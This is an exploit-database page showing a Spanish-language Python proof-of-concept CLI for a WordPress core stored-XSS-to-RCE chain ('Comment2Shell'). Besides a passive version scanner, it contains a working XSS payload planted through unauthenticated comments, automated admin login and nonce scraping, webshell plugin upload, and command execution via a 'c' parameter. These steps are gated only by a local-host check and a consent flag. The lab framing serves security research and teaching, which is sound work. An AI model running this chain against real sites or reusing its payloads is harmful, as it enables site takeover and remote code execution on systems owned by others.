Exploit databaseDownload repository ZIP
GH-a92baaa85e84234f2acea08cb302dd87
686f6c61/poc-wp-core-cve-2026-93485
Sources for CVE-2026-93485
3 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files1
686f6c61/poc-wp-core-cve-2026-93485Revision fd30787bc8b7
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
cli/poc.py
Python · 15,781 bytes#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
poc.py — CLI del laboratorio CVE-2026-93485 ("Comment2Shell").
WordPress core · stored XSS no autenticado -> RCE vía sesión de admin.
CVE asignado por Patchstack · CVSS 7.1 · corregido en WP 7.1.1 (2026-09-17).
Subcomandos:
lab gestiona el laboratorio Docker local (up/down/status/clean)
scan escaneo PASIVO de un sitio: versión de WP y vulnerabilidad
(solo peticiones de lectura públicas; nada invasivo)
verificar comprueba en el laboratorio que el payload sembrado sale VIVO
en el HTML servido (o inerte, en el control 7.1.1)
explotar cadena completa contra el laboratorio (siembra -> verificación ->
subida de plugin -> ejecución de comando). INVASIVO: exige
--acepto-responsabilidad y solo acepta hosts locales.
Sin dependencias externas: solo la biblioteca estándar de Python 3.
Uso exclusivo en entornos propios / educativos. Ver README.
"""
import argparse
import http.cookiejar
import json
import os
import re
import subprocess
import sys
import urllib.error
import urllib.parse
import urllib.request
REPO = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
LAB_URL = os.environ.get("LAB_URL", "http://localhost:8080")
ADMIN_USER = os.environ.get("LAB_ADMIN_USER", "admin")
ADMIN_PASS = os.environ.get("LAB_ADMIN_PASS", "lab-admin-2026")
PAYLOAD = ('<blockquote cite="a\nb"><code>x" '
'onfocus=alert(document.domain) autofocus tabindex=0</code></blockquote>')
# hosts a los que `explotar` se niega a salir (política del laboratorio)
LOCAL_HOSTS = {"localhost", "127.0.0.1", "::1", "0.0.0.0", "[::1]"}
def ok(msg):
print(f" \033[32m✓\033[0m {msg}")
def bad(msg):
print(f" \033[31m✗\033[0m {msg}")
def info(msg):
print(f" · {msg}")
# ────────────────────────── HTTP mínimo (stdlib) ──────────────────────────
class Browser:
"""Cliente HTTP con cookies, suficiente para los flujos del laboratorio."""
def __init__(self):
self.jar = http.cookiejar.CookieJar()
self.opener = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(self.jar))
self.opener.addheaders = [
("User-Agent", "c2s-lab/1.0 (laboratorio CVE-2026-93485)")]
def get(self, url, **kw):
return self._req(url, method="GET", **kw)
def post(self, url, data=None, fields=None, **kw):
if fields is not None:
data = urllib.parse.urlencode(fields).encode()
return self._req(url, method="POST", data=data, **kw)
def post_multipart(self, url, fields, files):
boundary = "----c2slab" + "7" * 12
body = []
for name, value in fields.items():
body += [f"--{boundary}", f'Content-Disposition: form-data; name="{name}"',
"", str(value)]
for name, (fname, blob, ctype) in files.items():
body += [f"--{boundary}",
f'Content-Disposition: form-data; name="{name}"; filename="{fname}"',
f"Content-Type: {ctype}", ""]
raw = "\r\n".join(body).encode() + b"\r\n"
raw += blob + b"\r\n"
raw += f"--{boundary}--\r\n".encode()
return self._req(url, method="POST", data=raw,
headers={"Content-Type": f"multipart/form-data; boundary={boundary}"})
def _req(self, url, method="GET", data=None, headers=None):
req = urllib.request.Request(url, data=data, method=method)
for k, v in (headers or {}).items():
req.add_header(k, v)
try:
with self.opener.open(req, timeout=30) as r:
return r.status, r.read().decode("utf-8", "replace"), r.geturl()
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace"), url
# ─────────────────────────────── lab ──────────────────────────────────────
def cmd_lab(args):
root = REPO
compose = ["docker", "compose", "--profile", "control"]
actions = {
"up": ["up", "-d", "--build"],
"down": ["down"],
"status": ["ps"],
"clean": ["down", "-v", "--remove-orphans"],
}
if args.action == "clean":
subprocess.run(compose + actions["clean"], cwd=root, check=False)
for p in ("/tmp/c2s",):
subprocess.run(["rm", "-rf", p], check=False)
ok("laboratorio destruido (contenedores + volumen + evidencias)")
return 0
if args.action == "up":
print(" levantando víctima (WP 7.1.0 -> :8080) y control (7.1.1 -> :8081)…")
r = subprocess.run(compose + actions[args.action], cwd=root)
if args.action == "status":
info("víctima: http://localhost:8080 control: http://localhost:8081")
info("wp-admin: admin / lab-admin-2026")
return r.returncode
# ─────────────────────────────── scan ─────────────────────────────────────
def wp_version(base):
"""Detección pasiva de la versión de WordPress (solo lecturas públicas)."""
b = Browser()
candidates = []
st, html, _ = b.get(base + "/")
m = re.search(r'<meta name="generator" content="WordPress ([0-9.]+)"', html)
if m:
candidates.append(("meta generator", m.group(1)))
st, feed, _ = b.get(base + "/feed/")
m = re.search(r"<generator>https://wordpress.org/\?v=([0-9.]+)</generator>", feed)
if m:
candidates.append(("feed RSS", m.group(1)))
st, rsd, _ = b.get(base + "/xmlrpc.php?rsd")
m = re.search(r"<api name=\"WordPress\" blogID=\"1\" preferred=\"true\" apiLink=\"([^\"]+)\"", rsd)
if m and "wp/v2" in m.group(1):
candidates.append(("REST activo (xmlrpc RSD)", None))
return candidates
def version_tuple(v):
return tuple(int(x) for x in v.split("."))
def cmd_scan(args):
base = args.url.rstrip("/")
print(f" escaneo pasivo de {base} (solo peticiones de lectura)\n")
found = wp_version(base)
if not found:
bad("no se pudo determinar la versión (¿es WordPress?)")
return 1
version = None
for where, v in found:
if v:
version = v
info(f"WordPress {v} (detectado vía {where})")
else:
info(where)
if version:
vt = version_tuple(version)
fixed = (7, 1, 1)
if len(vt) == 2:
# El meta generator y el feed solo exponen major.minor (p. ej. "7.1"),
# que comparten 7.1.0 (vulnerable) y 7.1.1 (parcheado).
if vt >= (7, 1):
print()
info(f"{version}.x: la detección pasiva no distingue 7.1.0 de 7.1.1")
bad("7.1.0 es VULNERABLE a CVE-2026-93485; 7.1.1 es el parche")
info("confirma el nivel de parche (wp-includes/version.php, registros de actualización)")
return 2
vt = vt + (0,) # p. ej. "7.0" -> tratar como 7.0.0 (rama afectada)
if vt < fixed:
print()
bad(f"{version} es VULNERABLE a CVE-2026-93485 (Comment2Shell)")
info("stored XSS no autenticado vía wpautop(); parche: 7.1.1 o backport de tu rama")
info("detalles: research/writeup-original.md · mitigaciones: README")
return 2
print()
ok(f"{version} NO está en los rangos afectados conocidos de CVE-2026-93485")
return 0
return 1
# ───────────────────────────── verificar ──────────────────────────────────
def plant(base, post_id, browser=None):
b = browser or Browser()
st, _, _ = b.post(
base + "/wp-comments-post.php",
fields={
"comment_post_ID": str(post_id),
"author": "Visitante",
"email": "[email protected]",
"url": "",
"comment": PAYLOAD,
})
return st
def detect_post_id(base):
"""Autodetecta el post del laboratorio (slug lab-comment2shell)."""
b = Browser()
try:
st, body, _ = b.get(base + "/wp-json/wp/v2/posts?slug=lab-comment2shell&_fields=id")
m = re.search(r'"id":(\d+)', body or "")
if m:
return int(m.group(1))
except Exception:
pass
return 1
def cmd_verificar(args):
base = args.url.rstrip("/")
post_id = args.post_id if args.post_id else detect_post_id(base)
print(f" verificación del HTML servido en {base}/?p={post_id}\n")
b = Browser()
st, html, _ = b.get(f"{base}/?p={post_id}")
if st != 200:
bad(f"HTTP {st} al pedir el post")
return 1
m = re.search(r'<blockquote cite="[^"]*".{0,400}?</blockquote>', html, re.S)
if not m:
bad("no hay comentario con payload en la página (¿`make plant` antes?)")
return 1
frag = m.group(0)
info("HTML servido (fragmento):")
for line in frag.splitlines() or [frag]:
print(" " + line[:150])
vivo = re.search(r"b(?:”|”)>", frag) and "onfocus=" in frag
print()
if vivo:
bad("payload VIVO: onfocus/autofocus/tabindex son atributos del <blockquote>")
info("el sitio es vulnerable (comportamiento esperado en WP 7.1.0 del lab)")
return 0
ok("payload INERTE: la comilla del cite sobrevive y el payload es texto en <code>")
info("comportamiento esperado en WP 7.1.1 parcheado (control negativo)")
return 0
# ────────────────────────────── explotar ──────────────────────────────────
def is_local(host):
host = (host or "").lower().strip()
if host in LOCAL_HOSTS:
return True
if host.endswith(".local") or host.endswith(".localdomain") or host.endswith(".test"):
return True
if host.startswith("127.") or host.startswith("10.") or host.startswith("192.168."):
return True
return False
def admin_login(base):
b = Browser()
b.get(base + "/wp-login.php") # cookie de prueba
st, _, _ = b.post(
base + "/wp-login.php",
fields={
"log": ADMIN_USER, "pwd": ADMIN_PASS,
"wp-submit": "Log In", "redirect_to": base + "/wp-admin/",
"testcookie": "1",
})
return b if st in (301, 302, 200) else None
def cmd_explotar(args):
base = args.url.rstrip("/")
host = urllib.parse.urlparse(base).hostname
print(" ┌─────────────────────────────────────────────────────────────┐")
print(" │ MODO INVASIVO: siembra comentario + sube plugin + ejecuta │")
print(" │ comando. Solo para entornos QUE TE PERTENECEN. │")
print(" └─────────────────────────────────────────────────────────────┘")
if not is_local(host):
bad(f"{host} no es un host local; este laboratorio solo actúa en local.")
info("sube el laboratorio (make lab) y usa http://localhost:8080")
return 1
if not args.acepto_responsabilidad:
bad("falta --acepto-responsabilidad")
info("lee README.md (sección Uso responsable) y vuelve a lanzarlo con el flag")
return 1
if not args.si and input(f" ¿Confirmas atacar {base}? [escribe SI] ").strip() != "SI":
bad("abortado por el usuario")
return 1
print(f"\n objetivo: {base}\n")
# 1) siembra (302 = aceptado · 409 = ya estaba sembrado)
post_id = args.post_id if args.post_id else detect_post_id(base)
st = plant(base, post_id)
info(f"siembra -> wp-comments-post.php HTTP {st}")
if st not in (302, 409):
bad("el comentario no fue aceptado")
return 1
# 2) verificación de vida
_, html, _ = Browser().get(f"{base}/?p={post_id}")
m = re.search(r'<blockquote cite="[^"]*".{0,400}?</blockquote>', html, re.S)
frag = m.group(0) if m else ""
if not (re.search(r"b(?:”|”)>", frag) and "onfocus=" in frag):
bad("el payload no salió vivo en el HTML — ¿es realmente 7.1.0?")
return 1
ok("payload vivo en el HTML servido")
# 3) sesión admin (equivalente al navegador comprometido por el XSS)
b = admin_login(base)
if not b:
bad("login admin fallido")
return 1
ok("sesión admin (equivale al XSS ya ejecutándose)")
st, page, _ = b.get(base + "/wp-admin/plugin-install.php?tab=upload")
nonce = (re.search(r'name="_wpnonce" value="([a-f0-9]+)"', page) or [None, None])[1]
if not nonce:
bad("sin _wpnonce")
return 1
ok(f"_wpnonce={nonce}")
# 4) subir plugin y ejecutar
zip_path = os.path.join(REPO, "exploit", "webshell", "c2s-demo.zip")
with open(zip_path, "rb") as f:
blob = f.read()
st, _, _ = b.post_multipart(
base + "/wp-admin/update.php?action=upload-plugin",
fields={"_wpnonce": nonce,
"_wp_http_referer": "/wp-admin/plugin-install.php?tab=upload"},
files={"pluginzip": ("c2s-demo.zip", blob, "application/zip")})
info(f"upload-plugin -> HTTP {st}")
shell = Browser()
st, out, _ = shell.get(base + "/wp-content/plugins/c2s-demo/c2s-demo.php?c=id")
if st == 200 and "uid=" in out:
ok("RCE demostrado — salida de `id`:")
for line in out.splitlines():
print(" " + line)
return 0
bad(f"la webshell respondió HTTP {st}")
return 1
# ─────────────────────────────── main ─────────────────────────────────────
def main():
p = argparse.ArgumentParser(
prog="poc.py",
description="Laboratorio CVE-2026-93485 (Comment2Shell) — uso local/educativo",
epilog="Ver README.md para el contexto completo y la política de uso.")
sub = p.add_subparsers(dest="cmd", required=True)
sp = sub.add_parser("lab", help="gestión del laboratorio Docker")
sp.add_argument("action", choices=["up", "down", "status", "clean"])
sp.set_defaults(fn=cmd_lab)
sp = sub.add_parser("scan", help="escaneo pasivo de versión (solo lecturas)")
sp.add_argument("url")
sp.set_defaults(fn=cmd_scan)
sp = sub.add_parser("verificar", help="¿el payload sembrado sale vivo en el HTML?")
sp.add_argument("url")
sp.add_argument("--post-id", type=int, default=None,
help="por defecto: autodetecta el post del laboratorio")
sp.set_defaults(fn=cmd_verificar)
sp = sub.add_parser("explotar", help="cadena completa (INVASIVO, solo local)")
sp.add_argument("url")
sp.add_argument("--post-id", type=int, default=None,
help="por defecto: autodetecta el post del laboratorio")
sp.add_argument("--acepto-responsabilidad", action="store_true",
help="confirmas que el objetivo es tuyo y su uso es educativo")
sp.add_argument("--si", action="store_true", help="salta la confirmación interactiva")
sp.set_defaults(fn=cmd_explotar)
args = p.parse_args()
sys.exit(args.fn(args) or 0)
if __name__ == "__main__":
main()